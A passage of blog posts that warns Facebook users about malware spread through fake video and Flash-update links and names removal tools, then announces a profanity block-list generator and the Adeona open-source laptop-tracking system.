Another variation of the viruses being sent around Facebook is a similar message to users suggesting they are appearing in a YouTube video and providing the supposed link to view it. Instead of actually seeing a video, the virus advises viewers they need to download an updated version of Flash, which if followed may install a virus into the user’s computer. More info on that version, including sample messages and screenshots, is available here.

Why Its Working

If you find yourself infected, don’t be too hard on yourself. People have become so used to receiving emails from Facebook asking them to confirm this or that that it could be argued that people are more prone to click on a link that looks like it came from Facebook without being as diligent as we would be if we weren’t used to preforming this same action 10 times a day for legitimate Facebook actions. For example, most users of Facebook are familiar with the “Joe has added you as a friend on Facebook€¦” stock email.

Some users are conditioned to follow this process whenever they receive an email of this sort. Some people can receive this email several times every day and perform this login procedure so often it becomes automatic. This simple, clean design is very easy for a phisher to mimic. Since users are conditioned to follow this process blindly, they might not notice that the email is spoofed or that the address bar is slightly incorrect. This makes Facebook users ideal targets for the type of generic phishing attacks that are usually directed at financial institutions.

If You Clicked on the Link And Your Computer is Infected

I spent some time trolling Facebook’s forums to see if anyone had any specific direction on how to remove this virus from an infected machine. I found a few possible solutions, although since the people posting didn’t know or didn’t mention the name of the specific virus they were infected with, it may take some trial and error to find the solution that works best for you.

If your virus detection software determines that you’re infected with Bolivar23.exe, you can click here for directions on how to remove it.

In early August, there was a different one going around, called Koobface. Kaspersky’s website writes:

One confirmed method of removing this virus is by downloading MalwareBytes – for some at the time, it seemed to be the only out of the box software that was able to remove it.

Still another that was around this time, Troj/Dloadr-BPL Trojan horse, was reported on by Sophos:

Messages left on Facebook users’ walls are urging members to view a video (which pretends to be hosted on a Google website), but clicking on the link and visiting the webpage takes users to a site which urges them to download an executable to watch the movie.

Sophos detects the executable file as the Troj/Dloadr-BPL Trojan horse, which in turn downloads further malicious code (detected as Troj/Agent-HJX), and displays an innocent image of a court jester sticking his tongue out. [more]

In Conclusion

This isn’t the first wave of social network viruses, nor will it be the last. There isn’t one social network that is more prone to them than others. As we allow social networks to become a bigger part of how we communicate, we must simply remain cautious and avoid the temptation to become complacent. Pay attention to the links you click on that are sent through Facebook, the same way you pay attention to suspicious e-mails that come in through normal e-mail.

Possibly related posts:

1. New Facebook Phishing Attempts Looks like a new round of phishing attacks are well...
2. Advertising on Facebook – Part One I have a Facebook application that seems to be doing...
3. Advertising on Facebook – Part Three Part three of this series will deal specifically with an...

If you develop software for a living, or if you moderate any online forums, you may have found yourself in the situation where you need a list of banned or blocked words. The problem is, what works for one application doesn’t work for another. A forums targeted at adults can probably have a little more latitude than a game designed for children.

Rather than maintaining multiple lists for multiple audiences, check out BanBuilder.Com, a website that lets you generate a list of banned words based on rating (PG, PG-13, R), location (US swear words versus UK, etc) and export them into various formats including csv, text, sql insert statements and more. The service is free and there’s nothing to sign up for. Just use it when you need it.

Note: the export function isn’t working just yet – but you can help the project by adding your own swear words to the database. Check back in a day or two for the export feature.

And if you have suggestions, post them here, since this is my own little pet project!

Possibly related posts:

1. Identify and Fix SQL Injection Vulnerabilities in Web Applications Scrawlr is a free software for scanning SQL injection vulnerabilities...
2. Truncate text to x number of words This code will truncate given text to a certain length,...
3. Advertising on Facebook Applications – An Experiment This article has been deprecated, and has been replaced by...

Adeona is the first Open Source system for tracking the location of your lost or stolen laptop that does not rely on a proprietary, central service. This means that you can install Adeona on your laptop and go — there’s no need to rely on a single third party. What’s more, Adeona addresses a critical privacy goal different from existing commercial offerings. It is privacy-preserving. This means that no one besides the owner (or an agent of the owner’s choosing) can use Adeona to track a laptop. Unlike other systems, users of Adeona can rest assured that no one can abuse the system in order to track where they use their laptop.

From the Adeona website:

Adeona is named after the Roman goddess of safe returns. This system is the result of recent academic research started at the University of Washington, with participants now also at the University of California San Diego and the University of California Davis. The foundations of the Adeona design — and an analysis of its security and privacy properties — are published in a research paper at the 2008 USENIX Security Symposium.

Best of all, Adeona is free, and has downloads available for Windows, Mac and Linux. As an added bonus, Mac Powerbook users can configure Adeona to work with the built-in iSight camera and freeware software isightcapture to take a photo of your laptop-mooking perp. Like your location information, these images are privacy-protected so that only the laptop owner (or an agent of the owner’s choosing) can access them.

Learn more at the Adeona website, or get started with Adeona now!

Possibly related posts:

1. Laptop Bags for 17-inch Macbook Pro I have an addiction to laptop bags. I’m not sure...
2. Cheap or Free Website Status Monitoring Its a call you never, ever want to get. “My...
3. Learn New Languages Online For Free with LiveMocha Learning a new language becomes increasingly harder, the older we...